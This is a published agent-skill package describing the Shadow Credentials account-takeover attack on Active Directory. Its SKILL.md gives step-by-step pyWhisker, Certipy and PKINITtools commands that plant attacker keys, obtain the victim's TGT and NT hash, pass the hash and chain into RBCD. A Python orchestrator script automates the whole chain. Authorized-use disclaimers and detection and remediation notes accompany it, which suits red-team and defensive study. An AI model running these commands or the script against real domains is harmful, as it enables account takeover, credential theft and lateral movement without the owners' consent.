Published Agent Skill package. Follow the instructions in SKILL.md to complete the user's task.
abusing-shadow-credentials-for-privesc
Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
This page contains 5 files from the original skill zip. Supporting markdown and scripts are included below so you do not need extra downloads.
Files in this package
- SKILL.md
- LICENSE
- references/api-reference.md
- references/standards.md
- scripts/agent.py
SKILL.md
Abusing Shadow Credentials for Privilege Escalation
Legal Notice: This skill is for authorized security testing and educational purposes only. Shadow Credentials grant full takeover of the targeted account. Use only against systems you own or are explicitly authorized in writing to test. Unauthorized access is a crime.
Overview
The Shadow Credentials technique abuses the msDS-KeyCredentialLink attribute of Active Directory user and computer objects. This attribute stores raw public keys ("Key Credentials") used by Windows Hello for Business and Azure AD device registration for passwordless certificate-based logon via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). If an attacker has write permission over a target object's msDS-KeyCredentialLink — typically granted by GenericWrite, GenericAll, WriteProperty, or AddKeyCredentialLink ACEs surfaced in BloodHound — they can append their own attacker-generated public key. They then request a TGT for the target via PKINIT using the matching private key and recover the target's NT hash, achieving complete account takeover without resetting the password, which is far stealthier than a forced password reset.
The technique was published by Elad Shamir ("Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover") and implemented in the C# tool Whisker. The Python equivalent pyWhisker (ShutdownRepo) manipulates the attribute over LDAP, and Certipy integrates the entire chain via certipy shadow auto. The target environment must support PKINIT and have at least one Domain Controller running Windows Server 2016 or later. Sources: pyWhisker, Whisker, The Hacker Recipes — Shadow Credentials.
When to Use
- When BloodHound reveals
GenericWrite/GenericAll/AddKeyCredentialLinkover a higher-value user or computer - As a stealthier alternative to
ForceChangePassword(no password reset = less disruption/alerting) - To take over a computer account to chain into Resource-Based Constrained Delegation (RBCD)
- During red-team operations needing account takeover without locking out the legitimate user
- For purple-team exercises generating
msDS-KeyCredentialLinkmodification telemetry
Prerequisites
- Authorized engagement scope including AD credential-access techniques
- Control of a principal with write access to the target's
msDS-KeyCredentialLink - A DC running Windows Server 2016+ with PKINIT enabled (domain functional level supporting Key Trust)
- Network reachability to LDAP (389/636) and Kerberos (88) on a DC
- Linux attack host with Python 3.8+; install the tooling:
# pyWhisker (from source) git clone https://github.com/ShutdownRepo/pywhisker cd pywhisker && pip install . # Certipy (integrated shadow attack) pipx install certipy-ad # PKINITtools for manual TGT/NT-hash extraction git clone https://github.com/dirkjanm/PKINITtools
Objectives
- Confirm write access over a target's
msDS-KeyCredentialLink - Generate a key pair and append a Key Credential to the target object
- Request a TGT for the target via PKINIT using the new key
- Recover the target's NT hash for pass-the-hash / further movement
- Clean up the injected Key Credential to restore the object's state
- Document the ACL path that enabled the attack for remediation
MITRE ATT&CK Mapping
| ID | Technique | Application in this skill |
|---|---|---|
| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential (device key) to msDS-KeyCredentialLink to register an alternate authentication credential for the target account |
Workflow
Step 1: Confirm the write primitive
List existing Key Credentials on the target to verify you have the required access. An empty or readable result confirms write access for the add step.
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "list"
Step 2: Add a Shadow Credential with pyWhisker
Generate a certificate/key pair and write it into the target's msDS-KeyCredentialLink. pyWhisker outputs a PFX you control.
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "add" --filename victim_shadow
# Produces victim_shadow.pfx and prints the PFX password
Use Kerberos auth instead of a password if you only hold a ticket:
python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
--target "victim" --action "add" --filename victim_shadow --use-ldaps
Step 3: Request a TGT via PKINIT
Use the generated PFX with PKINITtools to obtain a Kerberos TGT for the target.
python3 PKINITtools/gettgtpkinit.py \
-cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
corp.local/victim victim.ccache
Step 4: Recover the NT hash
Extract the target's NT hash from the AS-REP using the session key from Step 3 (getnthash.py reads the AS-REP encryption key, displayed by gettgtpkinit.py).
export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# Prints the NT hash for 'victim'
Step 5: One-shot alternative with Certipy
Certipy's shadow auto performs add → PKINIT → dump hash → cleanup automatically, which is ideal for computer-account takeover.
certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
# For a computer account, use the sAMAccountName with trailing $
certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'WS01$'
Step 6: Use the recovered credential
Authenticate with the NT hash (or the TGT) to continue the engagement.
# Pass-the-hash with NetExec
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# Or use the TGT directly
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache
Step 7: Chain computer takeover into RBCD (optional)
When the target is a computer, the recovered key/hash lets you configure Resource-Based Constrained Delegation to impersonate any user to that host.
# Set RBCD so attacker-controlled SPN can impersonate to WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
-action write 'corp.local/attacker:Passw0rd!'
Step 8: Clean up
Remove the injected Key Credential to restore the object and reduce detection footprint.
# pyWhisker: remove by device-id (printed during add) or clear all you added
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto cleans up automatically; otherwise:
certipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
Tools and Resources
| Resource | Purpose | Link |
|---|---|---|
| pyWhisker | Python LDAP manipulation of msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |
| Whisker | Original C# implementation | https://github.com/eladshamir/Whisker |
| Certipy | shadow auto end-to-end takeover |
https://github.com/ly4k/Certipy |
| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |
| The Hacker Recipes | Technique walkthrough & defenses | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |
Detection and Remediation Notes
| Area | Guidance |
|---|---|
| Detection | Monitor Windows Security Event ID 5136 (directory object modified) for changes to msDS-KeyCredentialLink; alert when a non-AD-Connect/non-Intune principal writes the attribute. |
| Auditing | Enable directory service object change auditing on user/computer OUs. |
| Least privilege | Remove unnecessary GenericWrite/GenericAll/AddKeyCredentialLink ACEs (BloodHound AddKeyCredentialLink edge). |
| Mitigation | Where Windows Hello/device registration is unused, restrict who can write Key Credentials and consider tier-0 protected accounts. |
Validation Criteria
- Write access over the target's
msDS-KeyCredentialLinkconfirmed (listsucceeded) - Key Credential successfully added (PFX generated)
- PKINIT TGT obtained for the target account
- Target NT hash recovered and validated against a service
- (If computer) RBCD chain or onward movement demonstrated
- Injected Key Credential removed / object restored
- Enabling ACL path documented with remediation recommendation
Supporting file: LICENSE
This file is part of the abusing-shadow-credentials-for-privesc skill package. Use it when SKILL.md references LICENSE.
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Supporting file: references/api-reference.md
This file is part of the abusing-shadow-credentials-for-privesc skill package. Use it when SKILL.md references references/api-reference.md.
Shadow Credentials Tooling Reference
pyWhisker (https://github.com/ShutdownRepo/pywhisker)
Invocation: python3 pywhisker.py [auth] --target <obj> --action <action> [opts]
| Flag | Meaning |
|---|---|
-d DOMAIN |
Target domain (FQDN) |
-u USER |
Controlled username |
-p PASSWORD |
Password |
-k / --no-pass |
Kerberos auth (uses KRB5CCNAME) |
-H LM:NT |
Pass-the-hash |
--target NAME |
Target user/computer whose attribute is modified |
--action list |
Enumerate existing Key Credentials |
--action add |
Generate key pair, write Key Credential |
--action remove |
Remove one Key Credential by --device-id |
--action clear |
Remove all Key Credentials |
--action info |
Show details of a Key Credential |
--filename NAME |
Output PFX/PEM base name |
| `--export PEM | PFX` |
--device-id GUID |
Target device for remove/info |
--dc-ip IP |
Domain Controller IP |
--use-ldaps |
Use LDAPS (636) |
Example
python3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \
--target victim --action add --filename victim_shadow
Certipy shadow (https://github.com/ly4k/Certipy)
| Command | Meaning |
|---|---|
certipy shadow auto |
Add → PKINIT → dump NT hash → cleanup (end to end) |
certipy shadow add |
Add Key Credential only |
certipy shadow list |
List Key Credentials |
certipy shadow clear |
Clear Key Credentials |
certipy shadow info |
Show Key Credential info |
Key flags: -u USER@DOMAIN, -p PW / -hashes :NT / -k -no-pass,-dc-ip IP, -account TARGET (use trailing $ for computers), -ns IP, -dns-tcp.
Example
certipy shadow auto -u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'WS01$'
PKINITtools (https://github.com/dirkjanm/PKINITtools)
| Script | Purpose |
|---|---|
gettgtpkinit.py -cert-pfx FILE -pfx-pass PW DOMAIN/USER out.ccache |
Request TGT via PKINIT; prints AS-REP key |
getnthash.py -key <AS-REP-KEY> DOMAIN/USER |
Recover NT hash (KRB5CCNAME set) |
Example
python3 gettgtpkinit.py -cert-pfx victim_shadow.pfx -pfx-pass abc123 \
corp.local/victim victim.ccache
export KRB5CCNAME=victim.ccache
python3 getnthash.py -key <AS-REP-KEY> corp.local/victim
Detection signal
- Event ID 5136 — modification of
msDS-KeyCredentialLink(Directory Service Changes auditing). - BloodHound edge:
AddKeyCredentialLink.
Supporting file: references/standards.md
This file is part of the abusing-shadow-credentials-for-privesc skill package. Use it when SKILL.md references references/standards.md.
Standards Mapping — Abusing Shadow Credentials for Privilege Escalation
MITRE ATT&CK (Enterprise)
| ID | Name | Rationale |
|---|---|---|
| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential to msDS-KeyCredentialLink registers an alternate device/certificate credential for the target, which is exactly the device-registration manipulation this sub-technique describes. |
Reference: https://attack.mitre.org/techniques/T1098/005/
Related techniques exercised in the chain:
- T1649 (Steal or Forge Authentication Certificates) — the PKINIT certificate used to authenticate.
- T1550.003 / T1558 — using the recovered TGT/hash for movement.
NIST Cybersecurity Framework 2.0
| ID | Name | Rationale |
|---|---|---|
| PR.AA-05 | Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege and separation of duties | The attack is only possible because of over-permissive ACEs (GenericWrite/GenericAll/AddKeyCredentialLink) on AD objects; remediation is least-privilege enforcement of who may write Key Credentials. |
Reference: https://csrc.nist.gov/projects/cybersecurity-framework
Supporting file: scripts/agent.py
This file is part of the abusing-shadow-credentials-for-privesc skill package. Use it when SKILL.md references scripts/agent.py.
#!/usr/bin/env python3
"""
shadowcred_takeover.py — Orchestrate a Shadow Credentials account takeover.
Wraps the real `certipy shadow auto` workflow (and optionally pyWhisker +
PKINITtools) to add a Key Credential to a target's msDS-KeyCredentialLink,
recover the NT hash via PKINIT, and clean up. Parses the tool output to surface
the recovered NT hash and TGT path.
Authorized use only. Requires write access over the target's
msDS-KeyCredentialLink and a DC running Windows Server 2016+ with PKINIT.
Install:
pipx install certipy-ad
git clone https://github.com/ShutdownRepo/pywhisker
git clone https://github.com/dirkjanm/PKINITtools
Examples:
python shadowcred_takeover.py certipy -u attacker@corp.local -p 'Passw0rd!' \
--dc-ip 10.0.0.100 --target 'WS01$'
python shadowcred_takeover.py pywhisker -d corp.local -u attacker \
-p 'Passw0rd!' --dc-ip 10.0.0.100 --target victim \
--pywhisker ./pywhisker/pywhisker.py
"""
import argparse
import os
import re
import shutil
import subprocess
import sys
def _which_or_die(binary, hint):
if shutil.which(binary) is None and not os.path.exists(binary):
sys.exit(f"[!] '{binary}' not found. {hint}")
def run(cmd, timeout=600):
print("[*] Running:", " ".join(cmd))
try:
proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
except subprocess.TimeoutExpired:
sys.exit(f"[!] Command timed out after {timeout}s.")
out = proc.stdout + proc.stderr
print(out)
return proc.returncode, out
def parse_nthash(text):
"""Certipy prints 'Got hash for ...: aad3b...:<NT>'. Extract the NT half."""
m = re.search(r"[Gg]ot hash for .*?:\s*([0-9a-fA-F]{32}):([0-9a-fA-F]{32})", text)
if m:
return m.group(2)
m = re.search(r"\b[0-9a-fA-F]{32}:([0-9a-fA-F]{32})\b", text)
return m.group(1) if m else None
def certipy_flow(args):
_which_or_die("certipy", "Install with: pipx install certipy-ad")
cmd = ["certipy", "shadow", "auto",
"-u", args.user, "-dc-ip", args.dc_ip, "-account", args.target]
if args.password:
cmd += ["-p", args.password]
elif args.hashes:
cmd += ["-hashes", args.hashes]
elif args.kerberos:
cmd += ["-k", "-no-pass"]
else:
sys.exit("[!] Provide -p, --hashes, or -k.")
if args.ns:
cmd += ["-ns", args.ns, "-dns-tcp"]
rc, out = run(cmd)
if rc != 0:
sys.exit("[!] certipy shadow auto failed.")
nt = parse_nthash(out)
if nt:
print(f"\n[+] Recovered NT hash for {args.target}: {nt}")
print(f"[+] Reuse it: nxc smb {args.dc_ip} -u {args.target.rstrip('$')} -H {nt}")
else:
print("[!] Could not auto-extract NT hash; review output above.")
def pywhisker_flow(args):
if not args.pywhisker or not os.path.exists(args.pywhisker):
sys.exit("[!] --pywhisker must point to pywhisker.py")
base = "shadow_" + args.target.rstrip("$")
cmd = ["python3", args.pywhisker, "-d", args.domain, "-u", args.user,
"--target", args.target, "--action", "add", "--filename", base]
if args.password:
cmd += ["-p", args.password]
elif args.kerberos:
cmd += ["-k", "--no-pass"]
else:
sys.exit("[!] Provide -p or -k.")
if args.dc_ip:
cmd += ["--dc-ip", args.dc_ip]
rc, out = run(cmd)
if rc != 0:
sys.exit("[!] pyWhisker add failed.")
pfx_pass = None
m = re.search(r"[Pp]assword(?: for the PFX)?:\s*(\S+)", out)
if m:
pfx_pass = m.group(1)
print(f"\n[+] Key Credential added. PFX: {base}.pfx PFX-pass: {pfx_pass}")
print("[+] Next, request a TGT with PKINITtools:")
print(f" python3 gettgtpkinit.py -cert-pfx {base}.pfx -pfx-pass {pfx_pass} "
f"{args.domain}/{args.target.rstrip('$')} {base}.ccache")
print(" export KRB5CCNAME=%s.ccache" % base)
print(f" python3 getnthash.py -key <AS-REP-KEY> {args.domain}/{args.target.rstrip('$')}")
print("[!] Remember to clean up the injected Key Credential when done:")
print(f" python3 {args.pywhisker} -d {args.domain} -u {args.user} "
f"--target {args.target} --action clear")
def main():
ap = argparse.ArgumentParser(description="Shadow Credentials takeover orchestrator.")
sub = ap.add_subparsers(dest="mode", required=True)
c = sub.add_parser("certipy", help="Use certipy shadow auto (end to end)")
c.add_argument("-u", "--user", required=True, help="attacker@domain")
c.add_argument("-p", "--password")
c.add_argument("--hashes")
c.add_argument("-k", "--kerberos", action="store_true")
c.add_argument("--dc-ip", required=True, dest="dc_ip")
c.add_argument("--target", required=True, help="victim or WS01$")
c.add_argument("--ns")
w = sub.add_parser("pywhisker", help="Use pyWhisker add (manual PKINIT after)")
w.add_argument("-d", "--domain", required=True)
w.add_argument("-u", "--user", required=True)
w.add_argument("-p", "--password")
w.add_argument("-k", "--kerberos", action="store_true")
w.add_argument("--dc-ip", dest="dc_ip")
w.add_argument("--target", required=True)
w.add_argument("--pywhisker", required=True, help="Path to pywhisker.py")
args = ap.parse_args()
if args.mode == "certipy":
certipy_flow(args)
else:
pywhisker_flow(args)
if __name__ == "__main__":
main()